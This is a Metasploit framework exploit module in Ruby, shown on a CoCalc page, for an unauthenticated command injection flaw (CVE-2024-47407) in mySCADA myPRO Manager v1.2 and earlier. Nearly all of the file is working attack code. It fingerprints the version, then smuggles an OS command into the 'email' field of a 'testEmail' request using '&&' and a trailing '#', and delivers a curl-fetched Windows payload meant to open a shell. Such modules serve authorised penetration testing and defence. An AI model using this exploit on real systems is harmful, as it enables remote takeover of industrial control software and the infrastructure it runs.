CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/mypro_mgr_cmd.rb
Views: 15996
1
class MetasploitModule < Msf::Exploit::Remote
2
Rank = ExcellentRanking
3
include Msf::Exploit::Remote::HttpClient
4
prepend Msf::Exploit::Remote::AutoCheck
5
6
def initialize(info = {})
7
super(
8
update_info(
9
info,
10
'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
11
'Description' => %q{
12
Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
13
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
14
},
15
'License' => MSF_LICENSE,
16
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
17
'References' => [
18
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
19
[ 'CVE', '2024-47407']
20
],
21
'DisclosureDate' => '2024-11-21',
22
'DefaultOptions' => {
23
'RPORT' => 34022,
24
'SSL' => 'False'
25
},
26
'Platform' => 'win',
27
'Arch' => [ ARCH_CMD ],
28
'Targets' => [
29
[
30
'Windows_Fetch',
31
{
32
'Arch' => [ ARCH_CMD ],
33
'Platform' => 'win',
34
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
35
'Type' => :win_fetch
36
}
37
]
38
],
39
'DefaultTarget' => 0,
40
41
'Notes' => {
42
'Stability' => [CRASH_SAFE],
43
'Reliability' => [REPEATABLE_SESSION],
44
'SideEffects' => [IOC_IN_LOGS]
45
}
46
)
47
)
48
49
register_options(
50
[
51
OptString.new(
52
'TARGETURI',
53
[ true, 'The URI for the MyPRO Manager web interface', '/' ]
54
)
55
]
56
)
57
end
58
59
def check
60
begin
61
res = send_request_cgi({
62
'method' => 'GET',
63
'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
64
})
65
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
66
return CheckCode::Unknown
67
end
68
69
if res.to_s =~ /const v="([^"]+)"/
70
version = ::Regexp.last_match(1)
71
vprint_status('Version retrieved: ' + version)
72
if Rex::Version.new(version) <= Rex::Version.new('1.2')
73
return CheckCode::Appears
74
end
75
76
return CheckCode::Safe
77
end
78
return CheckCode::Unknown
79
end
80
81
def exploit
82
execute_command(payload.encoded)
83
end
84
85
def execute_command(cmd)
86
exec_mypro_mgr(cmd)
87
print_status('Exploit finished, check thy shell.')
88
end
89
90
def exec_mypro_mgr(cmd)
91
post_data = {
92
'command' => 'testEmail',
93
'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
94
}
95
96
res = send_request_cgi({
97
'method' => 'POST',
98
'ctype' => 'application/json',
99
'data' => JSON.generate(post_data),
100
'uri' => normalize_uri(target_uri.path, 'get')
101
})
102
103
if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
104
print_good('Command successfully executed, check your shell.')
105
else
106
print_error('Unexpected or no reply received.')
107
end
108
end
109
110
end
111
112